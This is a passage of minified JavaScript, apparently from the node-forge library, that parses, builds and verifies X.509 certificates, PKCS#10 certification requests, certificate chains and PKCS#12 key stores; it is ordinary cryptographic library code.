J=nA.derToOid(q.value[H].value);if(J in jY)K[jY[J]]=!0;else K[J]=!0}}else if(K.name==="nsCertType"){var q=nA.fromDer(K.value),Y=0;if(q.value.length>1)Y=q.value.charCodeAt(1);K.client=(Y&128)===128,K.server=(Y&64)===64,K.email=(Y&32)===32,K.objsign=(Y&16)===16,K.reserved=(Y&8)===8,K.sslCA=(Y&4)===4,K.emailCA=(Y&2)===2,K.objCA=(Y&1)===1}else if(K.name==="subjectAltName"||K.name==="issuerAltName"){K.altNames=[];var O,q=nA.fromDer(K.value);for(var X=0;X<q.value.length;++X){O=q.value[X];var $={type:O.type,value:O.value};switch(K.altNames.push($),O.type){case 1:case 2:case 6:break;case 7:$.ip=iK.util.bytesToIP(O.value);break;case 8:$.oid=nA.derToOid(O.value);break;default:}}}else if(K.name==="subjectKeyIdentifier"){var q=nA.fromDer(K.value);K.subjectKeyIdentifier=iK.util.bytesToHex(q.value)}}return K};C4.certificationRequestFromAsn1=function(A,K){var q={},Y=[];if(!nA.validate(A,UvY,q,Y)){var z=Error("Cannot read PKCS#10 certificate request. ASN.1 object is not a PKCS#10 CertificationRequest.");throw z.errors=Y,z}var w=nA.derToOid(q.publicKeyOid);if(w!==C4.oids.rsaEncryption)throw Error("Cannot read public key. OID is not RSA.");var H=C4.createCertificationRequest();if(H.version=q.csrVersion?q.csrVersion.charCodeAt(0):0,H.signatureOid=iK.asn1.derToOid(q.csrSignatureOid),H.signatureParameters=q$1(H.signatureOid,q.csrSignatureParams,!0),H.siginfo.algorithmOid=iK.asn1.derToOid(q.csrSignatureOid),H.siginfo.parameters=q$1(H.siginfo.algorithmOid,q.csrSignatureParams,!1),H.signature=q.csrSignature,H.certificationRequestInfo=q.certificationRequestInfo,K){H.md=Y$1({signatureOid:H.signatureOid,type:"certification request"});var J=nA.toDer(H.certificationRequestInfo);H.md.update(J.getBytes())}var O=iK.md.sha1.create();return H.subject.getField=function(X){return Ba(H.subject,X)},H.subject.addField=function(X){gC([X]),H.subject.attributes.push(X)},H.subject.attributes=C4.RDNAttributesAsArray(q.certificationRequestInfoSubject,O),H.subject.hash=O.digest().toHex(),H.publicKey=C4.publicKeyFromAsn1(q.subjectPublicKeyInfo),H.getAttribute=function(X){return Ba(H,X)},H.addAttribute=function(X){gC([X]),H.attributes.push(X)},H.attributes=C4.CRIAttributesAsArray(q.certificationRequestInfoAttributes||[]),H};C4.createCertificationRequest=function(){var A={};return A.version=0,A.signatureOid=null,A.signature=null,A.siginfo={},A.siginfo.algorithmOid=null,A.subject={},A.subject.getField=function(K){return Ba(A.subject,K)},A.subject.addField=function(K){gC([K]),A.subject.attributes.push(K)},A.subject.attributes=[],A.subject.hash=null,A.publicKey=null,A.attributes=[],A.getAttribute=function(K){return Ba(A,K)},A.addAttribute=function(K){gC([K]),A.attributes.push(K)},A.md=null,A.setSubject=function(K){gC(K),A.subject.attributes=K,A.subject.hash=null},A.setAttributes=function(K){gC(K),A.attributes=K},A.sign=function(K,q){A.md=q||iK.md.sha1.create();var Y=jY[A.md.algorithm+"WithRSAEncryption"];if(!Y){var z=Error("Could not compute certification request digest. Unknown message digest algorithm OID.");throw z.algorithm=A.md.algorithm,z}A.signatureOid=A.siginfo.algorithmOid=Y,A.certificationRequestInfo=C4.getCertificationRequestInfo(A);var w=nA.toDer(A.certificationRequestInfo);A.md.update(w.getBytes()),A.signature=K.sign(A.md)},A.verify=function(){var K=!1,q=A.md;if(q===null){q=Y$1({signatureOid:A.signatureOid,type:"certification request"});var Y=A.certificationRequestInfo||C4.getCertificationRequestInfo(A),z=nA.toDer(Y);q.update(z.getBytes())}if(q!==null)K=WG7({certificate:A,md:q,signature:A.signature});return K},A};function xZA(A){var K=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]),q,Y,z=A.attributes;for(var w=0;w<z.length;++w){q=z[w];var H=q.value,J=nA.Type.PRINTABLESTRING;if("valueTagClass"in q){if(J=q.valueTagClass,J===nA.Type.UTF8)H=iK.util.encodeUtf8(H)}Y=nA.create(nA.Class.UNIVERSAL,nA.Type.SET,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(q.type).getBytes()),nA.create(nA.Class.UNIVERSAL,J,!1,H)])]),K.value.push(Y)}return K}function gC(A){var K;for(var q=0;q<A.length;++q){if(K=A[q],typeof K.name>"u"){if(K.type&&K.type in C4.oids)K.name=C4.oids[K.type];else if(K.shortName&&K.shortName in w0)K.name=C4.oids[w0[K.shortName]]}if(typeof K.type>"u")if(K.name&&K.name in C4.oids)K.type=C4.oids[K.name];else{var Y=Error("Attribute type not specified.");throw Y.attribute=K,Y}if(typeof K.shortName>"u"){if(K.name&&K.name in w0)K.shortName=w0[K.name]}if(K.type===jY.extensionRequest){if(K.valueConstructed=!0,K.valueTagClass=nA.Type.SEQUENCE,!K.value&&K.extensions){K.value=[];for(var z=0;z<K.extensions.length;++z)K.value.push(C4.certificateExtensionToAsn1(DG7(K.extensions[z])))}}if(typeof K.value>"u"){var Y=Error("Attribute value not specified.");throw Y.attribute=K,Y}}}function DG7(A,K){if(K=K||{},typeof A.name>"u"){if(A.id&&A.id in C4.oids)A.name=C4.oids[A.id]}if(typeof A.id>"u")if(A.name&&A.name in C4.oids)A.id=C4.oids[A.name];else{var q=Error("Extension ID not specified.");throw q.extension=A,q}if(typeof A.value<"u")return A;if(A.name==="keyUsage"){var Y=0,z=0,w=0;if(A.digitalSignature)z|=128,Y=7;if(A.nonRepudiation)z|=64,Y=6;if(A.keyEncipherment)z|=32,Y=5;if(A.dataEncipherment)z|=16,Y=4;if(A.keyAgreement)z|=8,Y=3;if(A.keyCertSign)z|=4,Y=2;if(A.cRLSign)z|=2,Y=1;if(A.encipherOnly)z|=1,Y=0;if(A.decipherOnly)w|=128,Y=7;var H=String.fromCharCode(Y);if(w!==0)H+=String.fromCharCode(z)+String.fromCharCode(w);else if(z!==0)H+=String.fromCharCode(z);A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.BITSTRING,!1,H)}else if(A.name==="basicConstraints"){if(A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]),A.cA)A.value.value.push(nA.create(nA.Class.UNIVERSAL,nA.Type.BOOLEAN,!1,String.fromCharCode(255)));if("pathLenConstraint"in A)A.value.value.push(nA.create(nA.Class.UNIVERSAL,nA.Type.INTEGER,!1,nA.integerToDer(A.pathLenConstraint).getBytes()))}else if(A.name==="extKeyUsage"){A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]);var J=A.value.value;for(var O in A){if(A[O]!==!0)continue;if(O in jY)J.push(nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(jY[O]).getBytes()));else if(O.indexOf(".")!==-1)J.push(nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(O).getBytes()))}}else if(A.name==="nsCertType"){var Y=0,z=0;if(A.client)z|=128,Y=7;if(A.server)z|=64,Y=6;if(A.email)z|=32,Y=5;if(A.objsign)z|=16,Y=4;if(A.reserved)z|=8,Y=3;if(A.sslCA)z|=4,Y=2;if(A.emailCA)z|=2,Y=1;if(A.objCA)z|=1,Y=0;var H=String.fromCharCode(Y);if(z!==0)H+=String.fromCharCode(z);A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.BITSTRING,!1,H)}else if(A.name==="subjectAltName"||A.name==="issuerAltName"){A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]);var X;for(var $=0;$<A.altNames.length;++$){X=A.altNames[$];var H=X.value;if(X.type===7&&X.ip){if(H=iK.util.bytesFromIP(X.ip),H===null){var q=Error('Extension "ip" value is not a valid IPv4 or IPv6 address.');throw q.extension=A,q}}else if(X.type===8)if(X.oid)H=nA.oidToDer(nA.oidToDer(X.oid));else H=nA.oidToDer(H);A.value.value.push(nA.create(nA.Class.CONTEXT_SPECIFIC,X.type,!1,H))}}else if(A.name==="nsComment"&&K.cert){if(!/^[\x00-\x7F]*$/.test(A.comment)||A.comment.length<1||A.comment.length>128)throw Error('Invalid "nsComment" content.');A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.IA5STRING,!1,A.comment)}else if(A.name==="subjectKeyIdentifier"&&K.cert){var _=K.cert.generateSubjectKeyIdentifier();A.subjectKeyIdentifier=_.toHex(),A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.OCTETSTRING,!1,_.getBytes())}else if(A.name==="authorityKeyIdentifier"&&K.cert){A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]);var J=A.value.value;if(A.keyIdentifier){var G=A.keyIdentifier===!0?K.cert.generateSubjectKeyIdentifier().getBytes():A.keyIdentifier;J.push(nA.create(nA.Class.CONTEXT_SPECIFIC,0,!1,G))}if(A.authorityCertIssuer){var Z=[nA.create(nA.Class.CONTEXT_SPECIFIC,4,!0,[xZA(A.authorityCertIssuer===!0?K.cert.issuer:A.authorityCertIssuer)])];J.push(nA.create(nA.Class.CONTEXT_SPECIFIC,1,!0,Z))}if(A.serialNumber){var W=iK.util.hexToBytes(A.serialNumber===!0?K.cert.serialNumber:A.serialNumber);J.push(nA.create(nA.Class.CONTEXT_SPECIFIC,2,!1,W))}}else if(A.name==="cRLDistributionPoints"){A.value=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]);var J=A.value.value,D=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]),j=nA.create(nA.Class.CONTEXT_SPECIFIC,0,!0,[]),X;for(var $=0;$<A.altNames.length;++$){X=A.altNames[$];var H=X.value;if(X.type===7&&X.ip){if(H=iK.util.bytesFromIP(X.ip),H===null){var q=Error('Extension "ip" value is not a valid IPv4 or IPv6 address.');throw q.extension=A,q}}else if(X.type===8)if(X.oid)H=nA.oidToDer(nA.oidToDer(X.oid));else H=nA.oidToDer(H);j.value.push(nA.create(nA.Class.CONTEXT_SPECIFIC,X.type,!1,H))}D.value.push(nA.create(nA.Class.CONTEXT_SPECIFIC,0,!0,[j])),J.push(D)}if(typeof A.value>"u"){var q=Error("Extension value not specified.");throw q.extension=A,q}return A}function Oj6(A,K){switch(A){case jY["RSASSA-PSS"]:var q=[];if(K.hash.algorithmOid!==void 0)q.push(nA.create(nA.Class.CONTEXT_SPECIFIC,0,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(K.hash.algorithmOid).getBytes()),nA.create(nA.Class.UNIVERSAL,nA.Type.NULL,!1,"")])]));if(K.mgf.algorithmOid!==void 0)q.push(nA.create(nA.Class.CONTEXT_SPECIFIC,1,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(K.mgf.algorithmOid).getBytes()),nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(K.mgf.hash.algorithmOid).getBytes()),nA.create(nA.Class.UNIVERSAL,nA.Type.NULL,!1,"")])])]));if(K.saltLength!==void 0)q.push(nA.create(nA.Class.CONTEXT_SPECIFIC,2,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.INTEGER,!1,nA.integerToDer(K.saltLength).getBytes())]));return nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,q);default:return nA.create(nA.Class.UNIVERSAL,nA.Type.NULL,!1,"")}}function pvY(A){var K=nA.create(nA.Class.CONTEXT_SPECIFIC,0,!0,[]);if(A.attributes.length===0)return K;var q=A.attributes;for(var Y=0;Y<q.length;++Y){var z=q[Y],w=z.value,H=nA.Type.UTF8;if("valueTagClass"in z)H=z.valueTagClass;if(H===nA.Type.UTF8)w=iK.util.encodeUtf8(w);var J=!1;if("valueConstructed"in z)J=z.valueConstructed;var O=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(z.type).getBytes()),nA.create(nA.Class.UNIVERSAL,nA.Type.SET,!0,[nA.create(nA.Class.UNIVERSAL,H,J,w)])]);K.value.push(O)}return K}var dvY=new Date("1950-01-01T00:00:00Z"),cvY=new Date("2050-01-01T00:00:00Z");function GG7(A){if(A>=dvY&&A<cvY)return nA.create(nA.Class.UNIVERSAL,nA.Type.UTCTIME,!1,nA.dateToUtcTime(A));else return nA.create(nA.Class.UNIVERSAL,nA.Type.GENERALIZEDTIME,!1,nA.dateToGeneralizedTime(A))}C4.getTBSCertificate=function(A){var K=GG7(A.validity.notBefore),q=GG7(A.validity.notAfter),Y=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.CONTEXT_SPECIFIC,0,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.INTEGER,!1,nA.integerToDer(A.version).getBytes())]),nA.create(nA.Class.UNIVERSAL,nA.Type.INTEGER,!1,iK.util.hexToBytes(A.serialNumber)),nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(A.siginfo.algorithmOid).getBytes()),Oj6(A.siginfo.algorithmOid,A.siginfo.parameters)]),xZA(A.issuer),nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[K,q]),xZA(A.subject),C4.publicKeyToAsn1(A.publicKey)]);if(A.issuer.uniqueId)Y.value.push(nA.create(nA.Class.CONTEXT_SPECIFIC,1,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.BITSTRING,!1,String.fromCharCode(0)+A.issuer.uniqueId)]));if(A.subject.uniqueId)Y.value.push(nA.create(nA.Class.CONTEXT_SPECIFIC,2,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.BITSTRING,!1,String.fromCharCode(0)+A.subject.uniqueId)]));if(A.extensions.length>0)Y.value.push(C4.certificateExtensionsToAsn1(A.extensions));return Y};C4.getCertificationRequestInfo=function(A){var K=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.INTEGER,!1,nA.integerToDer(A.version).getBytes()),xZA(A.subject),C4.publicKeyToAsn1(A.publicKey),pvY(A)]);return K};C4.distinguishedNameToAsn1=function(A){return xZA(A)};C4.certificateToAsn1=function(A){var K=A.tbsCertificate||C4.getTBSCertificate(A);return nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[K,nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(A.signatureOid).getBytes()),Oj6(A.signatureOid,A.signatureParameters)]),nA.create(nA.Class.UNIVERSAL,nA.Type.BITSTRING,!1,String.fromCharCode(0)+A.signature)])};C4.certificateExtensionsToAsn1=function(A){var K=nA.create(nA.Class.CONTEXT_SPECIFIC,3,!0,[]),q=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]);K.value.push(q);for(var Y=0;Y<A.length;++Y)q.value.push(C4.certificateExtensionToAsn1(A[Y]));return K};C4.certificateExtensionToAsn1=function(A){var K=nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[]);if(K.value.push(nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(A.id).getBytes())),A.critical)K.value.push(nA.create(nA.Class.UNIVERSAL,nA.Type.BOOLEAN,!1,String.fromCharCode(255)));var q=A.value;if(typeof A.value!=="string")q=nA.toDer(q).getBytes();return K.value.push(nA.create(nA.Class.UNIVERSAL,nA.Type.OCTETSTRING,!1,q)),K};C4.certificationRequestToAsn1=function(A){var K=A.certificationRequestInfo||C4.getCertificationRequestInfo(A);return nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[K,nA.create(nA.Class.UNIVERSAL,nA.Type.SEQUENCE,!0,[nA.create(nA.Class.UNIVERSAL,nA.Type.OID,!1,nA.oidToDer(A.signatureOid).getBytes()),Oj6(A.signatureOid,A.signatureParameters)]),nA.create(nA.Class.UNIVERSAL,nA.Type.BITSTRING,!1,String.fromCharCode(0)+A.signature)])};C4.createCaStore=function(A){var K={certs:{}};K.getIssuer=function(H){var J=q(H.issuer);return J},K.addCertificate=function(H){if(typeof H==="string")H=iK.pki.certificateFromPem(H);if(Y(H.subject),!K.hasCertificate(H))if(H.subject.hash in K.certs){var J=K.certs[H.subject.hash];if(!iK.util.isArray(J))J=[J];J.push(H),K.certs[H.subject.hash]=J}else K.certs[H.subject.hash]=H},K.hasCertificate=function(H){if(typeof H==="string")H=iK.pki.certificateFromPem(H);var J=q(H.subject);if(!J)return!1;if(!iK.util.isArray(J))J=[J];var O=nA.toDer(C4.certificateToAsn1(H)).getBytes();for(var X=0;X<J.length;++X){var $=nA.toDer(C4.certificateToAsn1(J[X])).getBytes();if(O===$)return!0}return!1},K.listAllCertificates=function(){var H=[];for(var J in K.certs)if(K.certs.hasOwnProperty(J)){var O=K.certs[J];if(!iK.util.isArray(O))H.push(O);else for(var X=0;X<O.length;++X)H.push(O[X])}return H},K.removeCertificate=function(H){var J;if(typeof H==="string")H=iK.pki.certificateFromPem(H);if(Y(H.subject),!K.hasCertificate(H))return null;var O=q(H.subject);if(!iK.util.isArray(O))return J=K.certs[H.subject.hash],delete K.certs[H.subject.hash],J;var X=nA.toDer(C4.certificateToAsn1(H)).getBytes();for(var $=0;$<O.length;++$){var _=nA.toDer(C4.certificateToAsn1(O[$])).getBytes();if(X===_)J=O[$],O.splice($,1)}if(O.length===0)delete K.certs[H.subject.hash];return J};function q(H){return Y(H),K.certs[H.hash]||null}function Y(H){if(!H.hash){var J=iK.md.sha1.create();H.attributes=C4.RDNAttributesAsArray(xZA(H),J),H.hash=J.digest().toHex()}}if(A)for(var z=0;z<A.length;++z){var w=A[z];K.addCertificate(w)}return K};C4.certificateError={bad_certificate:"forge.pki.BadCertificate",unsupported_certificate:"forge.pki.UnsupportedCertificate",certificate_revoked:"forge.pki.CertificateRevoked",certificate_expired:"forge.pki.CertificateExpired",certificate_unknown:"forge.pki.CertificateUnknown",unknown_ca:"forge.pki.UnknownCertificateAuthority"};C4.verifyCertificateChain=function(A,K,q){if(typeof q==="function")q={verify:q};q=q||{},K=K.slice(0);var Y=K.slice(0),z=q.validityCheckDate;if(typeof z>"u")z=new Date;var w=!0,H=null,J=0;do{var O=K.shift(),X=null,$=!1;if(z){if(z<O.validity.notBefore||z>O.validity.notAfter)H={message:"Certificate is not valid yet or has expired.",error:C4.certificateError.certificate_expired,notBefore:O.validity.notBefore,notAfter:O.validity.notAfter,now:z}}if(H===null){if(X=K[0]||A.getIssuer(O),X===null){if(O.isIssuer(O))$=!0,X=O}if(X){var _=X;if(!iK.util.isArray(_))_=[_];var G=!1;while(!G&&_.length>0){X=_.shift();try{G=X.verify(O)}catch(T){}}if(!G)H={message:"Certificate signature is invalid.",error:C4.certificateError.bad_certificate}}if(H===null&&(!X||$)&&!A.hasCertificate(O))H={message:"Certificate is not trusted.",error:C4.certificateError.unknown_ca}}if(H===null&&X&&!O.isIssuer(X))H={message:"Certificate issuer is invalid.",error:C4.certificateError.bad_certificate};if(H===null){var Z={keyUsage:!0,basicConstraints:!0};for(var W=0;H===null&&W<O.extensions.length;++W){var D=O.extensions[W];if(D.critical&&!(D.name in Z))H={message:"Certificate has an unsupported critical extension.",error:C4.certificateError.unsupported_certificate}}}if(H===null&&(!w||K.length===0&&(!X||$))){var j=O.getExtension("basicConstraints"),M=O.getExtension("keyUsage");if(M!==null){if(!M.keyCertSign||j===null)H={message:"Certificate keyUsage or basicConstraints conflict or indicate that the certificate is not a CA. If the certificate is the only one in the chain or isn't the first then the certificate must be a valid CA.",error:C4.certificateError.bad_certificate}}if(H===null&&j!==null&&!j.cA)H={message:"Certificate basicConstraints indicates the certificate is not a CA.",error:C4.certificateError.bad_certificate};if(H===null&&M!==null&&"pathLenConstraint"in j){var P=J-1;if(P>j.pathLenConstraint)H={message:"Certificate basicConstraints pathLenConstraint violated.",error:C4.certificateError.bad_certificate}}}var f=H===null?!0:H.error,N=q.verify?q.verify(f,J,Y):f;if(N===!0)H=null;else{if(f===!0)H={message:"The application rejected the certificate.",error:C4.certificateError.bad_certificate};if(N||N===0){if(typeof N==="object"&&!iK.util.isArray(N)){if(N.message)H.message=N.message;if(N.error)H.error=N.error}else if(typeof N==="string")H.error=N}throw H}w=!1,++J}while(K.length>0);return!0}});var $j6=v((S4H,PG7)=>{var OH=m3();xI();LZA();ba();Hj6();wj6();uC();fBA();SZA();bY();z$1();var{asn1:L1,pki:F9}=OH,TBA=PG7.exports=OH.pkcs12=OH.pkcs12||{},MG7={name:"ContentInfo",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,value:[{name:"ContentInfo.contentType",tagClass:L1.Class.UNIVERSAL,type:L1.Type.OID,constructed:!1,capture:"contentType"},{name:"ContentInfo.content",tagClass:L1.Class.CONTEXT_SPECIFIC,constructed:!0,captureAsn1:"content"}]},lvY={name:"PFX",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,value:[{name:"PFX.version",tagClass:L1.Class.UNIVERSAL,type:L1.Type.INTEGER,constructed:!1,capture:"version"},MG7,{name:"PFX.macData",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,optional:!0,captureAsn1:"mac",value:[{name:"PFX.macData.mac",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,value:[{name:"PFX.macData.mac.digestAlgorithm",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,value:[{name:"PFX.macData.mac.digestAlgorithm.algorithm",tagClass:L1.Class.UNIVERSAL,type:L1.Type.OID,constructed:!1,capture:"macAlgorithm"},{name:"PFX.macData.mac.digestAlgorithm.parameters",tagClass:L1.Class.UNIVERSAL,captureAsn1:"macAlgorithmParameters"}]},{name:"PFX.macData.mac.digest",tagClass:L1.Class.UNIVERSAL,type:L1.Type.OCTETSTRING,constructed:!1,capture:"macDigest"}]},{name:"PFX.macData.macSalt",tagClass:L1.Class.UNIVERSAL,type:L1.Type.OCTETSTRING,constructed:!1,capture:"macSalt"},{name:"PFX.macData.iterations",tagClass:L1.Class.UNIVERSAL,type:L1.Type.INTEGER,constructed:!1,optional:!0,capture:"macIterations"}]}]},ivY={name:"SafeBag",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,value:[{name:"SafeBag.bagId",tagClass:L1.Class.UNIVERSAL,type:L1.Type.OID,constructed:!1,capture:"bagId"},{name:"SafeBag.bagValue",tagClass:L1.Class.CONTEXT_SPECIFIC,constructed:!0,captureAsn1:"bagValue"},{name:"SafeBag.bagAttributes",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SET,constructed:!0,optional:!0,capture:"bagAttributes"}]},nvY={name:"Attribute",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,value:[{name:"Attribute.attrId",tagClass:L1.Class.UNIVERSAL,type:L1.Type.OID,constructed:!1,capture:"oid"},{name:"Attribute.attrValues",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SET,constructed:!0,capture:"values"}]},rvY={name:"CertBag",tagClass:L1.Class.UNIVERSAL,type:L1.Type.SEQUENCE,constructed:!0,value:[{name:"CertBag.certId",tagClass:L1.Class.UNIVERSAL,type:L1.Type.OID,constructed:!1,capture:"certId"},{name:"CertBag.certValue",tagClass:L1.Class.CONTEXT_SPECIFIC,constructed:!0,value:[{name:"CertBag.certValue[0]",tagClass:L1.Class.UNIVERSAL,type:L1.Class.OCTETSTRING,constructed:!1,capture:"cert"}]}]};function NBA(A,K,q,Y){var z=[];for(var w=0;w<A.length;w++)for(var H=0;H<A[w].safeBags.length;H++){var J=A[w].safeBags[H];if(Y!==void 0&&J.type!==Y)continue;if(K===null){z.push(J);continue}if(J.attributes[K]!==void 0&&J.attributes[K].indexOf(q)>=0)z.push(J)}return z}TBA.pkcs12FromAsn1=function(A,K,q){if(typeof K==="string")q=K,K=!0;else if(K===void 0)K=!0;var Y={},z=[];if(!L1.validate(A,lvY,Y,z)){var w=Error("Cannot read PKCS#12 PFX. ASN.1 object is not an PKCS#12 PFX.");throw w.errors=w,w}var H={version:Y.version.charCodeAt(0),safeContents:[],getBags:function(j){var M={},P;if("localKeyId"in j)P=j.localKeyId;else if("localKeyIdHex"in j)P=OH.util.hexToBytes(j.localKeyIdHex);if(P===void 0&&!("friendlyName"in j)&&"bagType"in j)M[j.bagType]=NBA(H.safeContents,null,null,j.bagType);if(P!==void 0)M.localKeyId=NBA(H.safeContents,"localKeyId",P,j.bagType);if("friendlyName"in j)M.friendlyName=NBA(H.safeContents,"friendlyName",j.friendlyName,j.bagType);return M},getBagsByFriendlyName:function(j,M){return NBA(H.safeContents,"friendlyName",j,M)},getBagsByLocalKeyId:function(j,M){return NBA(H.safeContents,"localKeyId",j,M)}};if(Y.version.charCodeAt(0)!==3){var w=Error("PKCS#12 PFX of version other than 3 not supported.");throw w.version=Y.version.charCodeAt(0),w}if(L1.derToOid(Y.contentType)!==F9.oids.data){var w=Error("Only PKCS#12 PFX in password integrity mode supported.");throw w.oid=L1.derToOid(Y.contentType),w}var J=Y.content.value[0];if(J.tagClass!==L1.Class.UNIVERSAL||J.type!==L1.Type.OCTETSTRING)throw Error("PKCS#12 authSafe content data is not an OCTET STRING.");if(J=Xj6(J),Y.mac){var O=null,X=0,$=L1.derToOid(Y.macAlgorithm);switch($){case F9.oids.sha1:O=OH.md.sha1.create(),X=20;break;case F9.oids.sha256:O=OH.md.sha256.create(),X=32;break;case F9.oids.sha384:O=OH.md.sha384.create(),X=48;break;case F9.oids.sha512:O=OH.md.sha512.create(),X=64;break;case F9.oids.md5:O=OH.md.md5.create(),X=16;break}if(O===null)throw Error("PKCS#12 uses unsupported MAC algorithm: "+$);var _=new OH.util.ByteBuffer(Y.macSalt),G="macIterations"in Y?parseInt(OH.util.bytesToHex(Y.macIterations),16):1,Z=TBA.generateKey(q,_,3,G,X,O),W=OH.hmac.create();W.start(O,Z),W.update(J.value);var D=W.getMac();if(D.getBytes()!==Y.macDigest)throw Error("PKCS#12 MAC could not be verified. Invalid password?")}return ovY(H,J.value,K,q),H};function Xj6(A){if(A.composed||A.constructed){var K=OH.util.createBuffer();for(var q=0;q<A.value.length;++q)K.putBytes(A.value[q].value);A.composed=A.constructed=!1,A.value=K.getBytes()}return A}function ovY(A,K,q,Y){if(K=L1.fromDer(K,q),K.tagClass!==L1.Class.UNIVERSAL||K.type!==L1.Type.SEQUENCE||K.constructed!==!0)throw Error("PKCS#12 AuthenticatedSafe expected to be a SEQUENCE OF ContentInfo");for(var z=0;z<K.value.length;z++){var w=K.value[z],H={},J=[];if(!L1.validate(w,MG7,H,J)){var O=Error("Cannot read ContentInfo.");throw O.errors=J,O}var X={encrypted:!1},$=null,_=H.content.value[0];switch(L1.derToOid(H.contentType)){case F9.oids.data:if(_.tagClass!==L1.Class.UNIVERSAL||_.type!==L1.Type.OCTETSTRING)throw Error("PKCS#12 SafeContents Data is not an OCTET STRING.");$=Xj6(_).value;break;case F9.oids.encryptedData:$=avY(_,Y),X.encrypted=!0;break;default:var O=Error("Unsupported PKCS#12 contentType.");throw O.contentType=L1.derToOid(H.contentType),O}X.safeBags=svY($,q,Y),A.safeContents.push(X)}}function avY(A,K){var q={},Y=[];if(!L1.validate(A,OH.pkcs7.asn1.encryptedDataValidator,q,Y)){var z=Error("Cannot read EncryptedContentInfo.");throw z.errors=Y,z}var w=L1.derToOid(q.contentType);if(w!==F9.oids.data){var z=Error("PKCS#12 EncryptedContentInfo ContentType is not Data.");throw z.oid=w,z}w=L1.derToOid(q.encAlgorithm);var H=F9.pbe.getCipher(w,q.encParameter,K),J=Xj6(q.encryptedContentAsn1),O=OH.util.createBuffer(J.value);if(H.update(O),!H.finish())throw Error("Failed to decrypt PKCS#12 SafeContents.");return H.output.getBytes()}function svY(A,K,q){if(!K&&A.length===0)return[];if(A=L1.fromDer(A,K),A.tagClass!==L1.Class.UNIVERSAL||A.type!==L1.Type.SEQUENCE||A.constructed!==!0)throw Error("PKCS#12 SafeContents expected to be a SEQUENCE OF SafeBag.");var Y=[];for(var z=0;z<A.value.length;z++){var w=A.value[z],H={},J=[];if(!L1.validate(w,ivY,H,J)){var O=Error("Cannot read SafeBag.");throw O.errors=J,O}var X={type:L1.derToOid(H.bagId),attributes:tvY(H.bagAttributes)};Y.push(X);var $,_,G=H.bagValue.value[0];switch(X.type){case F9.oids.pkcs8ShroudedKeyBag:if(G=F9.decryptPrivateKeyInfo(G,q),G===null)throw Error("Unable to decrypt PKCS#8 ShroudedKeyBag, wrong password?");case F9.oids.keyBag:try{X.key=F9.privateKeyFromAsn1(G)}catch(W){X.key=null,X.asn1=G}continue;case F9.oids.certBag:$=rvY,_=function(){if(L1.derToOid(H.certId)!==F9.oids.x509Certificate){var W=Error("Unsupported certificate type, only X.509 supported.");throw W.oid=L1.derToOid(H.certId),W}var D=L1.fromDer(H.cert,K);try{X.cert=F9.certificateFromAsn1(D,!0)}catch(j){X.cert=null,X.asn1=D}};break;default:var O=Error("Unsupported PKCS#12 SafeBag type.");throw O.oid=X.type,O}if($!==void 0&&!L1.validate(G,$,H,J)){var O=Error("Cannot read PKCS#12 "+$.name);throw O.errors=J,O}_()}return Y}function 